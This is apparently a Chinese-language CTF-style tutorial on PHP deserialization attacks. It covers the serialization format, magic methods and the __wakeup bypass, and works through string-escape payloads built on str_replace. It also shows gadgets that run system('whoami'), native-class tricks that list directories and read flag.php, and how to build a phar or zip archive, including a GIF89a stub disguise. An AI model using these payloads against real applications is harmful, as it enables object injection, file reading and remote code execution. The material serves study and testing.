Php Unserialize

序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class S{
public $test="pikachu";
}
$s=new S(); # 创建一个对象
echo serialize($s); # 把这个对象进行序列化

序列化后得到的结果是这个样子的:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}

O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

privateprotected 详解

PHP序列化的时候 private 和 protected 变量会引入不可见字符%00,
%00类名%00属性名 为private,%00*%00属性名 为protected,注意这两个 %00就是 ascii 码为0 的字符。

这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚.我们可以将序列化的字符用urlencode编码之后,打印出来查看。

魔术方法

方法 触发条件 参数 返回值
__construct 实例化对象
__destruct 反序列化之后 销毁之后
__sleep 序列化之前 需要被序列化的成员属性
__wakeup 反序列化之前
__toString 把对象当成字符串使用
__invoke 把对象当成函数调用
__clone 当使用clone关键字拷贝完一个对象
__call 调用不存在的方法或者私有的属性 $arg1,$arg2 不存在的方法名称&参数
__callStatic 静态调用不存在的方法 $arg1,$arg2 不存在的方法名称&参数
__get 调用成员属性不存在 $arg1 不存在的成员属性名称
__set 给不存在的成员属性赋值 $arg1,$arg2 不存在的成员名称&值
__isset 对不可访问属性使用isset()或empty $arg1 不存在的成员属性名称
__unset 对不可访问属性使用unset() $arg1 不存在的成员属性名称

__wakeup()函数漏洞绕过原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就不会执行

反序列化逃逸

str_replace — 子字符串替换

str_replace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array

  • search

    查找的目标值,也就是 needle,一个数组可以指定多个目标。

  • replace

    search 的替换值,一个数组可以被用来指定多重替换

  • subject

    执行替换的数组或者字符串。也就是 haystack

    如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。

  • count

    如果被指定,它的值将被设置为替换发生的次数

返回值

该函数返回替换后的数组或者字符串。

增多逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class C {
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"shell2";}';
public $pass='123456';
}

function filter($str){
return str_replace('bb', 'ccc', $str);
}

$A=new C();
echo serialize($A)."\n";

$res=filter(serialize($A));
echo serialize($res)."\n";

$c=unserialize($res);
echo $c->pass;

输出
O:1:"C":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"shell2";}";s:4:"pass";s:6:"123456";}

s:163:"O:1:"C":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"shell2";}";s:4:"pass";s:6:"123456";}";

shell2

str_replace函数将 $str中的 ‘bb’ 替换成 ‘ccc’,比原来多了一个字符

O:1:”C”:2:{s:4:”name”;s:4:”在name的属性里写我们想要输入的“;s:4:”pass”;s:6:”123456”;}后面的pass需要注释掉

写在 $name 里的字符串长度 == 替换后的字符串长度

str_replace前

O:1:”C”:2:{s:4:”name”;s:81:”bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"shell2";}“;s:4:”pass”;s:6:”123456”;}

  • 有色字体是 $name值 一共81字符
  • 要用"闭合替换后的字符串
  • s:81表示长度为81,字符串中间有"也会被当成字符串中的一个字符
  • 最后也要闭合整个序列化值 注释原本的 $pass

str_replace后

s:163:”O:1:”C”:2:{s:4:”name”;s:81:”ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc“;s:4:”pass”;s:6:”shell2”;}”;s:4:”pass”;s:6:”123456”;}”;

  • s:163是作为字符串 $res的长度
  • 有色字体是经过 str_replace 替换的数据 一共81字符
  • 后面的";s:4:"pass";s:6:"shell2";}便会逃逸,和前面凑成了一个完整的序列化值
  • }后的";s:4:"pass";s:6:"123456";}";就被注释了

通过unserialize $pass 的值就被修改为 “shell2”

减少逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class C {
public $name='cccccccccccccccccccccccccccccccccccccccccccccccccccccc';
public $pass=';s:4:"qwer";s:5:"shell';
}

function filter($str){
return str_replace('ccc', 'bb', $str);
}

$A=new C();
echo serialize($A)."\n";

$res=filter(serialize($A));
echo serialize($res)."\n";

$c=unserialize($res);
echo $c->qwer;

输出
O:1:"C":2:{s:4:"name";s:54:"cccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:22:";s:4:"qwer";s:5:"shell";}

s:108:"O:1:"C":2:{s:4:"name";s:54:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:22:";s:4:"qwer";s:5:"shell";}";

shell

str_replace函数将 $str中的 ‘ccc’ 替换成 ‘bb’,比原来少了一个字符

写在 $name 里的字符串的长度 == 替换后的$name字符串 + $pass中不需要字符串 的长度

str_replace前

O:1:”C”:2:{s:4:”name”;s:54:”cccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:22:";s:4:"qwer";s:5:"shell“;}

  • 有色字体是 $pass值
  • $pass值中";s:4:"pass";s:22:“;s:4:”qwer”;s:5:”shell,此行有色字体是需要通过str_replace包含进 $name,后面的";进行闭合
  • $pass值最后加上";}也可以 -> $pass=’;s:4:”qwer”;s:5:”shell”;},视实际情况而定

str_replace后

s:108:”O:1:”C”:2:{s:4:”name”;s:54:”bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:22:“;s:4:”qwer”;s:5:”shell”;}”;

  • s:108 是作为字符串 $res的长度
  • 有色字体是包含 str_replace后 $name的值
  • 后面的 s:4:"qwer";s:5:"shell";就形成了新的成员和属性

通过unserialize 就会新增成员 $qwer 值为 “shell”

Bypass

过滤 Object、Array…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class c{
public $code = 'whoami';
function __wakeup() {
system($this->code);
}
}

// a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$array = [new c()];
echo serialize($array);
echo '<br>';

// C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
$obj = new ArrayObject();
$obj->append(new c());
echo serialize($obj);
echo '<br>';

// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '<br>';

// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '<br>';

// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '<br>';

// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);

GC

1

原生类

反射

ReflectionClass

1
2
echo new ReflectionClass('类');
echo new ReflectionClass('system("whoami")');

异常处理

Exception\Error

1
2
echo new Exception('system("whoami")');
echo new Error('system("whoami")');

遍历目录

FilesystemIterator\DirectoryIterator\GlobIterator

1
2
3
4
5
6
7
8
9
FilesystemIteratorDirectoryIterator 用法
FilesystemIterator(getcwd());
DirectoryIterator("glob:///*");

// 不需要glob协议头
GlobIterator("f*");

// 遍历
<?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'');}exit(0);?>

读取文件

SplFileObject

1
SplFileObject("flag.php");

Phar://

Php通过 __HALT_COMPILER 来识别Phar文件

生成

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

Bypass

1
2
3
4
5
6
7
8
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar


$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //生成一个phar.phar,修改后缀名为phar.gif

zip

1
2
3
4
5
6
7
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
⬆︎TOP